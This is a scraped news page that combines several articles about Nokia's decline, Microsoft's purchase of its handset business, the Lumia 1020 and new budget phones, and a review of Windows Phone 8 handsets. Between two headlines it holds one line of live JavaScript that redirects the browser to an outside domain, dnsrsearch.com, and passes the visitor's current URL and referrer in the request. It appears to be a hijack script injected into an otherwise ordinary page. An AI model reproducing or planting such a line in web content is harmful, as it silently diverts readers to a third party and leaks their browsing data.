Microsoft to Buy Nokia Units and Acquire Executive

Late Monday, Microsoft and Nokia said 32,000 Nokia employees would join Microsoft as a result of the all-cash deal, which is meant to turn the Finnish mobile phone pioneer into the engine for Microsoft’s mobile efforts.

Stephen Elop, the former Microsoft executive who was running Nokia until the deal was signed, will rejoin Microsoft after the transaction closes, setting him up as a potential successor to Steven A. Ballmer, Microsoft’s chief executive. Mr. Ballmer has said he will retire from the company within 12 months.

“This agreement is really a bold step into the future for Microsoft,” Mr. Ballmer said in a telephone interview from Finland. “We’re excited about the talent capabilities it will bring to Microsoft.”

The deal, which was first broached between Microsoft and Nokia executives in February, is the latest transformation of the 150-year-old Finnish company. Nokia began life as a conglomerate making products like rubber boots and car tires before reinventing itself in the 1980s as the world’s largest manufacturers of cellphones.

Nokia’s once mighty position in the mobile phone business has been lost, as the industry shifted to the era of the smartphone. Samsung and Apple divide nearly all of the profits in the global smartphone business now.

Nokia’s fall has been most spectacular in Asia, a region that its phones once dominated. As recently as 2010, the company had a 64 percent share of the smartphone market in China, according to Canalys, a research firm. By the first half of this year, that had plunged to 1 percent.

While Nokia phones used to be prized in Asia and other developing economies for their durability and value, the company was late to introduce innovations like touch screens. That left the high end of the market to brands like Apple and Samsung.

In the lower price ranges, smartphone makers from China have been more responsive to consumer demands, offering phones with features resembling those of their more expensive rivals at a fraction of the cost.

Risto Siilasmaa, Nokia’s interim chief executive, said on Tuesday that the sale of the handset business was the logical step in the company’s evolution but still pulled on his heartstrings.

“Selling a business is sometimes the right cause of action, but it’s emotionally complicated,” Mr. Siilasmaa said.

Consumers may be less concerned.

At a cellphone store in central London on Tuesday, Geoffrey Widdows, a 33-year-old engineer, said he had once been a devoted Nokia fan but now preferred Android phones because of the greater choice of apps available on phones from companies like Samsung and HTC.

“Everyone had a Nokia when I was growing up,” he said. “You just don’t see them around a lot anymore.”

A megadeal between Nokia and Microsoft is something that pundits and analysts have speculated about for years, after Mr. Elop joined Nokia and signed a pact with Microsoft in February 2011 to standardize the software company’s Windows Phone operating system.

The cellphone fortunes of the two companies have become closely intertwined since that agreement, but the relationship has done little to turn either company into a leader in the mobile business. Handsets running Windows Phone accounted for only 3.7 percent of smartphone shipments in the second quarter, according to the technology research firm IDC.

Nokia remains the second-largest shipper of mobile phones in the world, after Samsung, but that is largely because of lower-end feature phones, from which consumers are moving away. Nokia is no longer among the top five makers of smartphones.

A big question is whether Microsoft and Nokia will succeed as one company where they have not as close partners. Mr. Ballmer said Microsoft and Nokia had not been as agile separately as they would be jointly, citing how development could be slowed down when intellectual property rights were held by two different companies.

“There’s friction,” he said.

Mark Scott contributed reporting from London and Eric Pfanner contributed from Tokyo.

DealBook: For Microsoft, Nokia Deal Was Long and Arduous

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Bits Blog: With New Lumia, Nokia Bets on a Fancy Camera

The camera in the new Nokia Lumia 1020 has a 41-megapixel sensor.

Nokia’s new Lumia smartphone runs Windows Phone software and has a fancy camera with a 41-megapixel sensor. And the starting price is higher than that of an iPhone or Samsung Galaxy phone. Would you buy it?

It could be a tough sell. But that is what Nokia is betting on with the Lumia 1020, which costs $300 with a contract on AT&T.

Nokia, the Finnish phone maker, could really use a strong performer. The company has struggled to gain a foothold with its Lumia phones, and has decided that putting exceptional photos and video capability in its latest phone will be enough to change its fortunes.

And not just Nokia — it might also help people warm up to the struggling Windows Phone.

“This gives us the ability to create noise and excitement” and have people experiment with a Windows Phone, Chris Weber, Nokia’s executive vice president of marketing, said in an interview. “This absolutely will create what we think is positive momentum and noise and buzz both around Lumias as well as Windows Phone.”

But how much do people really complain about the camera on an iPhone or Samsung phone? On Flickr, the top three most used cameras are iPhones. And Apple’s iPhones have consistently been No. 1 in customer satisfaction surveys conducted by J.D. Power, the camera being one of the features rated in the survey. Nokia this year was rated No. 2 and Samsung was No. 3 in the J.D. Power survey; perhaps a superior camera could bump Nokia up even higher in satisfaction.

Jan Dawson, a telecom analyst at Ovum, thinks the success of the Lumia will come down to how it is sold. He said that Lumia’s superb camera definitely has a “wow factor.” But the problem, he said, is that people buy phones not for a wow factor, but because of how useful they are.

The part of the new phone worth mentioning, he said, is that its extra-high-resolution photos allow for better editing of photos, and therefore more useable results. But the company is not making a strong point of that in its initial pitch to consumers.

“They’re definitely going for the fun factor and the wow factor but not necessarily the usefulness factor,” he said.

The fate of a phone rests not just on the quality of the device, but also how it is marketed. Nokia, Microsoft and AT&T will be pushing this Lumia hard when it becomes available on July 26. Mr. Weber said both Nokia and Microsoft will increase their ad spending, and AT&T has said the Lumia 1020 would be its flagship device for the back-to-school season.

Nokia Unveils Low-Priced Phones

BARCELONA — Nokia on Monday introduced two new low-priced basic cellphones, plus two lower-priced versions of its flagship Lumia Windows smartphone — part of an effort by the former market leader to compete amid an intensifying price war in handsets.

The four new phones — the Lumia 720, Lumia 520, Nokia 301 and Nokia 105 — will help Nokia maintain and perhaps build on its position as the No. 2 maker of cellphones worldwide behind Samsung and fend off challenges by two Chinese manufacturers, Huawei and ZTE, analysts said.

The Lumia 520, selling for €139, or about $183, in Europe and $179 in the United States, is priced 25 percent less lower Nokia’s least-expensive smartphone, the Lumia 620.

“I think that with the Lumia 520, Nokia is really going to take the Windows 8 operating system to a much bigger, mass market,” said Pete Cunningham, an analyst at Canalys, a research firm in Reading, England. “I would expect their volumes of Lumia shipments to now start increasing slowly, but they still have a way to go.”

Samsung overtook Nokia last year as the leading global maker of cellphones, amassing a 23 percent market share. Nokia’s market share slipped to 17.9 percent from 24 percent during 2012, according to the market research firm IDC. Apple ended the year in third place at 9.9 percent, followed by ZTE, with 3.6 percent, and Huawei, with 3.3 percent.

The new handsets, which the company unveiled at the Mobile World Congress industry convention in Barcelona, reinforced Nokia’s strategy of targeting the least-expensive but fastest-growing parts of the market. The Nokia 105, the company’s new basic, entry-level phone, will sell for €15 — less than the price of a pizza in some countries.

T-Mobile U.S.A. has agreed to sell the Lumia 520, a 3G phone with a 4-inch touchscreen, in the United States starting in the second quarter, Nokia said.

In 2012, the global market for cellphones that cost $250 or less grew by 99 percent from its level in 2011, and accounted for more than half of all cellphones sold worldwide, according to IDC. The upper-end segment of smartphones costing more than $250 grew by only 23 percent during the same period.

“Nokia is targeting the right end of the market with new, inexpensive phones,” said Francisco Jeronimo, an analyst with IDC in London. “This is where the growth is.”

Nokia, the global market leader in smartphones as late as 2007 before Apple produced its first iPhone, trailed the likes of Blackberry, LG and Motorola with a roughly 4 percent market share in the fourth quarter, according to IDC. Huawei and ZTE, the No. 3 and No. 5, each sold more than twice as many smartphones as Nokia.

This year for the first time, more consumers around the world will buy a smartphone than a simple, basic cellphone, according to IDC.

Stephen Elop, the Nokia chief executive, said the new, lower-priced Lumia handsets would give the company a full array of smartphones it had been lacking.

“These are less-expensive devices, but they will move in much larger volumes,” Mr. Elop, a former Microsoft executive, said during an interview.

Mr. Elop said Nokia was committed to making some of Lumia’s unique features, such as digital lenses that allow users to enhance their own photos, available throughout the entire Lumia lineup, instead of reserving the most advanced features for the most expensive handsets.

The Nokia-Microsoft alliance that was announced two years ago in February 2011, Mr. Elop said, is gaining momentum. He dismissed the possibility that the company would eventually abandon its software partnership with Microsoft for another operating system, such as the Android system made by Google.

“There’s no doubt in my mind that that was the right decision” to choose Microsoft, Mr. Elop said. The alliance with the world’s largest software maker has set Nokia apart from handset makers relying on Android, Mr. Elop said, preserving an identify and edge for Nokia and its products.

With the Lumia line of smartphones expanding, Nokia can begin to sell Microsoft phones increasingly to businesses, which may already be reliant on Microsoft Windows and e-mail services in their operations, Mr. Elop said.

“Being able to bring those all together I think is a very powerful force,” he said. “And it’s something that’s just beginning.”

Nokia sold 4.4 million Lumia smartphones in the fourth quarter, up from 2.9 million in the third quarter. Mr. Elop declined to say how sales of Lumia had develpoped in the first two months of the year. But he suggested that the three new handsets introduced over the last three months would help sustain sales momentum.

The Lumia 920, 820 and 620 are new devices that will translate into new sales, he said. “All of those things will contribute to what we hope to see in the future,” he said.

In the fourth quarter, Nokia generated an profit of €202 million, compared with a loss of €1.1 billion a year earlier.

The Nokia 301, a mid-range feature phone, will be introduced in the second quarter and sell for €65. The 3G handset can display streaming video and comes with a 3.2 megapixel camera and panoramic, wide-angle lens. The Nokia 105 will eventually replace the entry-level Nokia 1280, which sold more than 100 million units in the past two years.

The Nokia 720, which will be sold initially in Asia and Europe, is a 3G handset targeting social media users. The phone, which will sell for €249, comes with 8 gigabytes of internal memory and an SD-card slot for additional storage. China Mobile has agreed to sell the handset in China starting in the second quarter, Nokia said.

State of the Art: Nokia Lumia 920 and HTC Windows Phone 8X Are Great, and Yet

Because competition drives innovation. Innovation leads to improvement. Improvement begets happiness.

In the tech world, some companies do their most innovative work when their backs are against the wall — especially Microsoft. Last month, it took the wraps off Windows Phone 8, the most polished edition yet of its beautiful, crystal-clear software for touch-screen phones. (My review of Windows Phone 8 is at http://j.mp/Qqfz2F.)

Unfortunately, as a Microsoft product manager told me understatedly, “We have an awareness problem.” Translation: Nobody is buying Windows phones. And since nobody’s buying them, nobody’s writing apps for them. And since nobody’s writing apps — well, you can see where this is going.

Still, Microsoft isn’t giving up. This month, Windows Phone 8 arrives aboard two fascinating new phones: the Nokia Lumia 920 ($100 with a new AT&T contract) and the HTC Windows Phone 8X ($200 from AT&T, Verizon or T-Mobile).

It’s funny about Nokia and HTC; they, too, are fallen giants. Nokia was the world’s largest cellphone maker for 14 years straight; not anymore. At the moment, it’s in seventh place among smartphone makers. It has shed tens of thousands of employees. HTC is struggling, too, having sold 36 percent fewer smartphones this year than last.

How intriguing, then, that HTC and Nokia have each chosen Microsoft as its savior, and vice versa. Loser + loser = winner?

Yes, actually. The two new phones have a lot in common — for one thing, they’re both awesome. For another, both have bigger, sharper screens than the iPhone’s famous Retina screen. (The HTC and Nokia phones have 4.3- and 4.5-inch screens. That’s 1,280 by 720 pixels, packed in 341 and 332 to the inch.)

Both have rounded backs and edges, which make them both exceptionally comfortable to hold. (The curve also makes it easy to pull them out of your pocket the right way.)

Both come in a choice of bright colors. Both phones have the same blazing fast processor. Both can get onto their respective carriers’ 4G LTE data networks (meaning very fast Internet), in the cities where those are available.

And get this — both of these phones can also charge without being plugged in. That’s right: magnetic charging is finally built right into phones. Come home at the end of the day, throw your keys in the bowl, set the phone down on the charging pad (a $50 option) — and a little chime tells you that it’s happily charging, even though no cable is in sight.

It’s pretty great. It will become even greater if this charging method (an industry standard called Qi, pronounced chee) catches on. Someday there may be charging surfaces at coffee shops, airports and hotel rooms. (Only the Verizon version of the HTC phone has this feature turned on — not the AT&T or T-Mobile versions.)

Both phones also have built-in NFC chips. These allow near-field communications, which means “this phone can do things when you tap it against another gadget.” The promise is that you’ll be able to tap on a cash-register terminal to pay for something; tap against an NFC-enabled bus shelter ad to download promotional goodies; tap two phones together to transfer a photo or address; and tap against a Bluetooth speaker to “pair” it with the phone.

In practice, there’s more to it than that. Unfortunately, the tap only introduces the phones; Bluetooth or some other technology is needed to complete the connection. And Microsoft’s coming tap-to-pay initiative is incompatible with the one Google has spent millions of dollars setting up at cash registers across the land. But we can always hope.

The HTC Windows Phone 8X is the smaller of the two new phones, but even so, it dwarfs the iPhone — it’s wider, taller, heavier and thicker. If you get the Verizon model, your Internet experience will be faster and better in more cities than on the Nokia phone, which is available only on AT&T.

The back panel is faintly textured, so you’re less likely to drop this phone than you are the shiny-backed Nokia. But the buttons — power, volume, camera — are skinny and utterly flush with the phone’s body; you practically need an ice pick to push them in.